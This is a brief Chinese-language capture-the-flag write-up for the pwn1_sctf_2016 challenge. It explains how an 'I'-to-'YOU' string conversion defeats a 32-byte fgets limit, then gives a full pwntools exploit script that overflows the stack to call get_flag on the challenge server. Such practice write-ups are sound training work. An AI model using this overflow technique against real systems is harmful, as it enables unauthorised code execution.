32位,没有保护
    fgets函数最多输入32位,没办法溢出,但是有两个转化函数
    image.png

    输出 I 的话会被转换成 YOU
    这样的话就可以溢出了溢出到这个函数

    1. int get_flag()
    2. {
    3. return system("cat flag.txt");
    4. }
    1. from pwn import *
    2. context(os="linux", arch="x86", log_level='debug')
    3. content = 0
    4. elf = ELF("pwn1_sctf_2016")
    5. get_flag_addr = elf.symbols["get_flag"]# 0x08048F0D
    6. def main():
    7. if content == 1:
    8. peiqi = process("pwn1_sctf_2016")
    9. else:
    10. peiqi = remote("node3.buuoj.cn",27626)
    11. payload = b'I' * 21 + b'a' # 0x3c + 4 --> b'you' * 21 + 'a' = 64
    12. payload = payload + p32(get_flag_addr)
    13. peiqi.sendline(payload)
    14. peiqi.interactive()
    15. main()

    image.png